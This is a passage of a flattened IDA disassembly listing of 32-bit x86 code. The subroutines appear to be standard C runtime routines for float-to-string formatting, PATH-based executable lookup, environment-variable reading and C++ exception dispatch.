XREF: sub_428E12+47p var_3C = qword ptr -3Ch var_28 = byte ptr -28h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+var_28] push esi push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+3Ch+var_3C] call sub_42C832 mov esi, [ebp+arg_8] lea eax, [ebp+var_10] push eax mov edx, [ebp+arg_4] lea eax, [esi+1] push eax xor eax, eax cmp [ebp+var_10], 2Dh setz al xor ecx, ecx test esi, esi setnle cl add edx, eax add ecx, edx push ecx call sub_42C7BB lea eax, [ebp+var_10] push 0 push eax push [ebp+arg_C] push esi push [ebp+arg_4] call sub_428BC1 mov eax, [ebp+arg_4] add esp, 30h pop esi leave retn sub_428B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428BC1 proc near ; CODE XREF: sub_428B60+53p ; sub_428D7F+86p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_10], bl push esi mov esi, [ebp+arg_C] push edi mov edi, [ebp+arg_0] jz short loc_428BEF xor eax, eax cmp [ebp+arg_4], ebx setnle al push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, edi push eax call sub_428E63 pop ecx pop ecx loc_428BEF: ; CODE XREF: sub_428BC1+11j cmp dword ptr [esi], 2Dh mov eax, edi jnz short loc_428BFC mov byte ptr [edi], 2Dh lea eax, [edi+1] loc_428BFC: ; CODE XREF: sub_428BC1+33j cmp [ebp+arg_4], ebx jle short loc_428C13 mov dl, [eax+1] lea ecx, [eax+1] mov [eax], dl mov eax, ecx mov cl, byte_449A48 mov [eax], cl loc_428C13: ; CODE XREF: sub_428BC1+3Ej xor ecx, ecx cmp [ebp+arg_10], bl push offset aE000 ; "e+000" setz cl add ecx, eax add ecx, [ebp+arg_4] push ecx call sub_423260 cmp [ebp+arg_8], ebx pop ecx pop ecx mov ecx, eax jz short loc_428C37 mov byte ptr [ecx], 45h loc_428C37: ; CODE XREF: sub_428BC1+71j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_428C7C mov ebx, [esi+4] dec ebx jns short loc_428C4B neg ebx mov byte ptr [ecx], 2Dh loc_428C4B: ; CODE XREF: sub_428BC1+83j inc ecx cmp ebx, 64h jl short loc_428C62 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_428C62: ; CODE XREF: sub_428BC1+8Ej inc ecx cmp ebx, 0Ah jl short loc_428C79 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_428C79: ; CODE XREF: sub_428BC1+A5j add [ecx+1], bl loc_428C7C: ; CODE XREF: sub_428BC1+7Dj mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_428BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428C83 proc near ; CODE XREF: sub_428E12+1Ep var_3C = qword ptr -3Ch var_28 = byte ptr -28h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+var_28] push esi push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+3Ch+var_3C] call sub_42C832 mov esi, [ebp+arg_8] lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C] add eax, esi push eax xor eax, eax cmp [ebp+var_10], 2Dh setz al add eax, [ebp+arg_4] push eax call sub_42C7BB lea eax, [ebp+var_10] push 0 push eax push esi push [ebp+arg_4] call sub_428CD8 mov eax, [ebp+arg_4] add esp, 2Ch pop esi leave retn sub_428C83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428CD8 proc near ; CODE XREF: sub_428C83+47p ; sub_428D7F+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_8] mov ebx, [ebp+arg_0] push edi mov eax, [esi+4] dec eax cmp [ebp+arg_C], 0 jz short loc_428D08 cmp eax, [ebp+arg_4] jnz short loc_428D08 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebx mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 loc_428D08: ; CODE XREF: sub_428CD8+14j ; sub_428CD8+19j cmp dword ptr [esi], 2Dh mov edi, ebx jnz short loc_428D15 mov byte ptr [ebx], 2Dh lea edi, [ebx+1] loc_428D15: ; CODE XREF: sub_428CD8+35j mov eax, [esi+4] test eax, eax jg short loc_428D2C push 1 push edi call sub_428E63 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_428D2E ; --------------------------------------------------------------------------- loc_428D2C: ; CODE XREF: sub_428CD8+42j add edi, eax loc_428D2E: ; CODE XREF: sub_428CD8+52j cmp [ebp+arg_4], 0 jle short loc_428D78 push 1 push edi call sub_428E63 mov al, byte_449A48 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_428D78 cmp [ebp+arg_C], 0 jz short loc_428D57 neg esi jmp short loc_428D5E ; --------------------------------------------------------------------------- loc_428D57: ; CODE XREF: sub_428CD8+79j neg esi cmp [ebp+arg_4], esi jl short loc_428D61 loc_428D5E: ; CODE XREF: sub_428CD8+7Dj mov [ebp+arg_4], esi loc_428D61: ; CODE XREF: sub_428CD8+84j push [ebp+arg_4] push edi call sub_428E63 push [ebp+arg_4] push 30h push edi call sub_4221F0 add esp, 14h loc_428D78: ; CODE XREF: sub_428CD8+5Aj ; sub_428CD8+73j pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_428CD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428D7F proc near ; CODE XREF: sub_428E12+34p var_44 = qword ptr -44h var_28 = byte ptr -28h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push ebx push esi lea eax, [ebp+var_28] push edi push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+44h+var_44] call sub_42C832 mov eax, [ebp+var_C] mov ebx, [ebp+arg_8] lea esi, [eax-1] xor eax, eax cmp [ebp+var_10], 2Dh setz al add eax, [ebp+arg_4] mov edi, eax lea eax, [ebp+var_10] push eax push ebx push edi call sub_42C7BB mov eax, [ebp+var_C] add esp, 1Ch dec eax cmp esi, eax setl cl cmp eax, 0FFFFFFFCh jl short loc_428DF8 cmp eax, ebx jge short loc_428DF8 test cl, cl jz short loc_428DE4 loc_428DDA: ; CODE XREF: sub_428D7F+60j mov al, [edi] inc edi test al, al jnz short loc_428DDA and [edi-2], al loc_428DE4: ; CODE XREF: sub_428D7F+59j lea eax, [ebp+var_10] push 1 push eax push ebx push [ebp+arg_4] call sub_428CD8 add esp, 10h jmp short loc_428E0D ; --------------------------------------------------------------------------- loc_428DF8: ; CODE XREF: sub_428D7F+51j ; sub_428D7F+55j lea eax, [ebp+var_10] push 1 push eax push [ebp+arg_C] push ebx push [ebp+arg_4] call sub_428BC1 add esp, 14h loc_428E0D: ; CODE XREF: sub_428D7F+77j pop edi pop esi pop ebx leave retn sub_428D7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428E12 proc near ; CODE XREF: sub_42512C+3AAp ; DATA XREF: sub_423484o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_428E4D cmp [ebp+arg_8], 45h jz short loc_428E4D cmp [ebp+arg_8], 66h jnz short loc_428E3A push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_428C83 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_428E3A: ; CODE XREF: sub_428E12+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_428D7F jmp short loc_428E5E ; --------------------------------------------------------------------------- loc_428E4D: ; CODE XREF: sub_428E12+7j ; sub_428E12+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_428B60 loc_428E5E: ; CODE XREF: sub_428E12+39j add esp, 10h pop ebp retn sub_428E12 endp ; =============== S U B R O U T I N E ======================================= sub_428E63 proc near ; CODE XREF: sub_428BC1+27p ; sub_428CD8+47p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_428E86 push esi mov esi, [esp+8+arg_0] push esi call sub_422120 inc eax push eax push esi add esi, edi push esi call sub_423C20 add esp, 10h pop esi loc_428E86: ; CODE XREF: sub_428E63+7j pop edi retn sub_428E63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428E88 proc near ; CODE XREF: sub_423517+96p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push esi push edi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_428FED add esp, 10h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz loc_428FE6 call sub_426528 cmp dword ptr [eax], 2 jnz loc_428FE6 push 2Fh push [ebp+arg_4] call sub_42CA33 pop ecx test eax, eax pop ecx jnz loc_428FE6 push offset aPath_0 ; "PATH" call sub_429187 mov edi, eax pop ecx test edi, edi jz loc_428FE6 push 104h call sub_422F79 mov esi, eax pop ecx test esi, esi jz loc_428FE6 push ebx mov ebx, 103h push ebx push esi push edi loc_428F04: ; CODE XREF: sub_428E88+151j call sub_42C9BF add esp, 0Ch mov [ebp+var_4], eax test eax, eax jz loc_428FDE cmp byte ptr [esi], 0 jz loc_428FDE push esi call sub_422120 lea edi, [eax+esi-1] pop ecx mov al, [edi] cmp al, 5Ch jnz short loc_428F3F push 5Ch push esi call sub_42C94D pop ecx cmp edi, eax pop ecx jmp short loc_428F41 ; --------------------------------------------------------------------------- loc_428F3F: ; CODE XREF: sub_428E88+A7j cmp al, 2Fh loc_428F41: ; CODE XREF: sub_428E88+B5j jz short loc_428F50 push offset asc_43E8EC ; "\\" push esi call sub_423270 pop ecx pop ecx loc_428F50: ; CODE XREF: sub_428E88:loc_428F41j push esi call sub_422120 push [ebp+arg_4] mov edi, eax call sub_422120 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_428FDE push [ebp+arg_4] push esi call sub_423270 push [ebp+arg_C] push [ebp+arg_8] push esi push [ebp+arg_0] call sub_428FED add esp, 18h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_428FDE call sub_426528 cmp dword ptr [eax], 2 jz short loc_428FD4 push 5Ch push esi call sub_42CA33 pop ecx cmp esi, eax pop ecx jz short loc_428FB5 push 2Fh push esi call sub_42CA33 pop ecx cmp esi, eax pop ecx jnz short loc_428FDE loc_428FB5: ; CODE XREF: sub_428E88+11Dj lea edi, [esi+1] push 5Ch push edi call sub_42CA33 pop ecx cmp edi, eax pop ecx jz short loc_428FD4 push 2Fh push edi call sub_42CA33 pop ecx cmp edi, eax pop ecx jnz short loc_428FDE loc_428FD4: ; CODE XREF: sub_428E88+10Fj ; sub_428E88+13Cj push ebx push esi push [ebp+var_4] jmp loc_428F04 ; --------------------------------------------------------------------------- loc_428FDE: ; CODE XREF: sub_428E88+89j ; sub_428E88+92j ... push esi call sub_4230B3 pop ecx pop ebx loc_428FE6: ; CODE XREF: sub_428E88+21j ; sub_428E88+2Fj ... mov eax, [ebp+var_8] pop edi pop esi leave retn sub_428E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428FED proc near ; CODE XREF: sub_423517+4Fp ; sub_428E88+13p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_4] push esi push edi push 5Ch push ebx mov edi, ebx call sub_42C94D push 2Fh push ebx mov esi, eax call sub_42C94D add esp, 10h test eax, eax jnz short loc_429058 test esi, esi jnz short loc_429062 push 3Ah push ebx call sub_42CA33 mov esi, eax pop ecx test esi, esi pop ecx jnz short loc_429062 push ebx call sub_422120 add eax, 3 push eax call sub_422F79 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4290BB push offset a__1 ; ".\\" push edi call sub_423260 push ebx push edi call sub_423270 add esp, 10h lea esi, [edi+2] jmp short loc_429062 ; --------------------------------------------------------------------------- loc_429058: ; CODE XREF: sub_428FED+24j test esi, esi jz short loc_429060 cmp eax, esi jbe short loc_429062 loc_429060: ; CODE XREF: sub_428FED+6Dj mov esi, eax loc_429062: ; CODE XREF: sub_428FED+28j ; sub_428FED+38j ... or [ebp+var_8], 0FFFFFFFFh push 2Eh push esi call sub_42C94D pop ecx test eax, eax pop ecx jz short loc_4290A1 push 0 push edi call sub_424450 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz loc_429123 push [ebp+arg_C] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_429136 add esp, 10h mov [ebp+var_8], eax jmp loc_429123 ; --------------------------------------------------------------------------- loc_4290A1: ; CODE XREF: sub_428FED+85j push edi call sub_422120 add eax, 5 push eax call sub_422F79 mov ebx, eax pop ecx test ebx, ebx pop ecx mov [ebp+var_4], ebx jnz short loc_4290C0 loc_4290BB: ; CODE XREF: sub_428FED+4Fj or eax, 0FFFFFFFFh jmp short loc_429131 ; --------------------------------------------------------------------------- loc_4290C0: ; CODE XREF: sub_428FED+CCj push edi push ebx call sub_423260 push edi call sub_422120 mov esi, eax add esp, 0Ch add esi, ebx mov ebx, offset off_44BB84 loc_4290D9: ; CODE XREF: sub_428FED+10Fj push dword ptr [ebx] push esi call sub_423260 push 0 push [ebp+var_4] call sub_424450 add esp, 10h cmp eax, 0FFFFFFFFh jnz short loc_429100 sub ebx, 4 cmp ebx, offset off_44BB78 jge short loc_4290D9 jmp short loc_429117 ; --------------------------------------------------------------------------- loc_429100: ; CODE XREF: sub_428FED+104j push [ebp+arg_C] push [ebp+arg_8] push [ebp+var_4] push [ebp+arg_0] call sub_429136 add esp, 10h mov [ebp+var_8], eax loc_429117: ; CODE XREF: sub_428FED+111j push [ebp+var_4] call sub_4230B3 mov ebx, [ebp+arg_4] pop ecx loc_429123: ; CODE XREF: sub_428FED+94j ; sub_428FED+AFj cmp edi, ebx jz short loc_42912E push edi call sub_4230B3 pop ecx loc_42912E: ; CODE XREF: sub_428FED+138j mov eax, [ebp+var_8] loc_429131: ; CODE XREF: sub_428FED+D1j pop edi pop esi pop ebx leave retn sub_428FED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429136 proc near ; CODE XREF: sub_428FED+A4p ; sub_428FED+11Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_4] lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_42CCB3 add esp, 14h cmp eax, 0FFFFFFFFh jnz short loc_42915B or eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42915B: ; CODE XREF: sub_429136+1Fj push esi push [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42CACA push [ebp+arg_C] mov esi, eax call sub_4230B3 push [ebp+arg_8] call sub_4230B3 add esp, 18h mov eax, esi pop esi pop ebp retn sub_429136 endp ; =============== S U B R O U T I N E ======================================= sub_429187 proc near ; CODE XREF: sub_423517+Dp ; sub_428E88+4Ep arg_0 = dword ptr 4 push esi push 0Ch call sub_428436 push [esp+8+arg_0] call sub_4291A8 push 0Ch mov esi, eax call sub_428497 add esp, 0Ch mov eax, esi pop esi retn sub_429187 endp ; =============== S U B R O U T I N E ======================================= sub_4291A8 proc near ; CODE XREF: sub_429187+Cp ; sub_42D078+31p arg_0 = dword ptr 4 cmp dword_631990, 0 push ebx push esi mov esi, dword_631488 push edi jz short loc_42921F test esi, esi jnz short loc_4291D9 cmp dword_631490, esi jz short loc_42921F call sub_42CEF8 test eax, eax jnz short loc_42921F mov esi, dword_631488 test esi, esi jz short loc_42921F loc_4291D9: ; CODE XREF: sub_4291A8+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_42921F push ebx call sub_422120 pop ecx mov edi, eax loc_4291EA: ; CODE XREF: sub_4291A8+6Dj mov eax, [esi] test eax, eax jz short loc_42921F push eax call sub_422120 cmp eax, edi pop ecx jbe short loc_429212 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_429212 push edi push ebx push eax call sub_42CEB9 add esp, 0Ch test eax, eax jz short loc_429217 loc_429212: ; CODE XREF: sub_4291A8+51j ; sub_4291A8+59j add esi, 4 jmp short loc_4291EA ; --------------------------------------------------------------------------- loc_429217: ; CODE XREF: sub_4291A8+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_429221 ; --------------------------------------------------------------------------- loc_42921F: ; CODE XREF: sub_4291A8+10j ; sub_4291A8+1Cj ... xor eax, eax loc_429221: ; CODE XREF: sub_4291A8+75j pop edi pop esi pop ebx retn sub_4291A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429225 proc near ; CODE XREF: .text:00423742p ; sub_4237AB+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_42923B call sub_429AED loc_42923B: ; CODE XREF: sub_429225+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_429263 cmp dword ptr [esi+4], 0 jz short loc_4292B9 cmp [ebp+arg_14], 0 jnz short loc_4292B9 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42957A add esp, 10h jmp short loc_4292B9 ; --------------------------------------------------------------------------- loc_429263: ; CODE XREF: sub_429225+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_4292B9 cmp dword ptr [eax], 0E06D7363h jnz short loc_42929D cmp [eax+14h], edi jbe short loc_42929D mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42929D movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_4292BC ; --------------------------------------------------------------------------- loc_42929D: ; CODE XREF: sub_429225+4Aj ; sub_429225+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_4292C0 add esp, 20h loc_4292B9: ; CODE XREF: sub_429225+23j ; sub_429225+29j ... push 1 pop eax loc_4292BC: ; CODE XREF: sub_429225+76j pop edi pop esi pop ebp retn sub_429225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292C0 proc near ; CODE XREF: sub_429225+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_4292E0 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_4292E5 loc_4292E0: ; CODE XREF: sub_4292C0+16j call sub_429AED loc_4292E5: ; CODE XREF: sub_4292C0+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_429448 cmp dword ptr [esi+10h], 3 jnz short loc_429365 cmp [esi+14h], edi jnz short loc_429365 cmp dword ptr [esi+1Ch], 0 jnz short loc_429365 call sub_42599D cmp dword ptr [eax+6Ch], 0 jz loc_429443 call sub_42599D mov esi, [eax+6Ch] call sub_42599D mov eax, [eax+70h] push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_42CF66 pop ecx test eax, eax pop ecx jnz short loc_429347 call sub_429AED loc_429347: ; CODE XREF: sub_4292C0+80j cmp [esi], ebx jnz loc_429448 cmp dword ptr [esi+10h], 3 jnz short loc_429365 cmp [esi+14h], edi jnz short loc_429365 cmp dword ptr [esi+1Ch], 0 jnz short loc_429365 call sub_429AED loc_429365: ; CODE XREF: sub_4292C0+41j ; sub_4292C0+46j ... cmp [esi], ebx jnz loc_429448 cmp dword ptr [esi+10h], 3 jnz loc_429448 cmp [esi+14h], edi jnz loc_429448 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4238FB add esp, 14h mov ebx, eax loc_42939C: ; CODE XREF: sub_4292C0+16Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_429433 cmp [ebx], edi jg short loc_429428 cmp edi, [ebx+4] jg short loc_429428 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_429425 loc_4293C1: ; CODE XREF: sub_4292C0+13Dj mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_4293F2 loc_4293D3: ; CODE XREF: sub_4292C0+130j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_42951D add esp, 0Ch test eax, eax jnz short loc_429401 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_4293D3 loc_4293F2: ; CODE XREF: sub_4292C0+111j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_4293C1 jmp short loc_429425 ; --------------------------------------------------------------------------- loc_429401: ; CODE XREF: sub_4292C0+125j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_42962E add esp, 2Ch loc_429425: ; CODE XREF: sub_4292C0+FFj ; sub_4292C0+13Fj mov edi, [ebp+var_10] loc_429428: ; CODE XREF: sub_4292C0+EAj ; sub_4292C0+EFj inc [ebp+var_4] add ebx, 14h jmp loc_42939C ; --------------------------------------------------------------------------- loc_429433: ; CODE XREF: sub_4292C0+E2j cmp [ebp+arg_14], 0 jz short loc_429443 push 1 push esi call sub_4299B2 pop ecx pop ecx loc_429443: ; CODE XREF: sub_4292C0+57j ; sub_4292C0+177j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_429448: ; CODE XREF: sub_4292C0+37j ; sub_4292C0+89j ... cmp [ebp+arg_14], 0 jnz short loc_42946E push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_429473 add esp, 20h jmp short loc_429443 ; --------------------------------------------------------------------------- loc_42946E: ; CODE XREF: sub_4292C0+18Cj jmp sub_429A8C sub_4292C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429473 proc near ; CODE XREF: sub_4292C0+1A4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi push edi call sub_42599D cmp dword ptr [eax+68h], 0 jz short loc_4294A6 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4237D0 add esp, 1Ch test eax, eax jnz short loc_429519 loc_4294A6: ; CODE XREF: sub_429473+10j mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_4238FB add esp, 14h mov esi, eax loc_4294C2: ; CODE XREF: sub_429473+A4j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_429519 cmp edi, [esi] jl short loc_429511 cmp edi, [esi+4] jg short loc_429511 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4294EB cmp byte ptr [ecx+8], 0 jnz short loc_429511 loc_4294EB: ; CODE XREF: sub_429473+70j push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_42962E add esp, 2Ch loc_429511: ; CODE XREF: sub_429473+59j ; sub_429473+5Ej ... inc [ebp+var_4] add esi, 14h jmp short loc_4294C2 ; --------------------------------------------------------------------------- loc_429519: ; CODE XREF: sub_429473+31j ; sub_429473+55j pop edi pop esi leave retn sub_429473 endp ; =============== S U B R O U T I N E ======================================= sub_42951D proc near ; CODE XREF: sub_4292C0+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_429574 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_429574 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_42954E add ecx, 8 push ecx push edx call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_429570 loc_42954E: ; CODE XREF: sub_42951D+1Fj test byte ptr [esi], 2 jz short loc_429558 test byte ptr [edi], 8 jz short loc_429570 loc_429558: ; CODE XREF: sub_42951D+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_429567 test byte ptr [edi], 1 jz short loc_429570 loc_429567: ; CODE XREF: sub_42951D+43j test al, 2 jz short loc_429574 test byte ptr [edi], 2 jnz short loc_429574 loc_429570: ; CODE XREF: sub_42951D+2Fj ; sub_42951D+39j ... xor eax, eax jmp short loc_429577 ; --------------------------------------------------------------------------- loc_429574: ; CODE XREF: sub_42951D+Bj ; sub_42951D+14j ... push 1 pop eax loc_429577: ; CODE XREF: sub_42951D+55j pop edi pop esi retn sub_42951D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42957A proc near ; CODE XREF: sub_429225+34p ; sub_42962E+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F5A8 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_4295AC: ; CODE XREF: sub_42957A+8Aj cmp esi, [ebp+arg_C] jz short loc_429606 cmp esi, 0FFFFFFFFh jle short loc_4295BB cmp esi, [edi+4] jl short loc_4295C0 loc_4295BB: ; CODE XREF: sub_42957A+3Aj call sub_429AED loc_4295C0: ; CODE XREF: sub_42957A+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4295DB push 103h push ebx push eax call sub_429A40 loc_4295DB: ; CODE XREF: sub_42957A+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4295FB ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_429618 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4295FB: ; CODE XREF: sub_42957A+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_4295AC ; --------------------------------------------------------------------------- loc_429606: ; CODE XREF: sub_42957A+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42957A endp ; =============== S U B R O U T I N E ======================================= sub_429618 proc near ; CODE XREF: sub_42957A+6Ap arg_0 = dword ptr 4 mov eax, 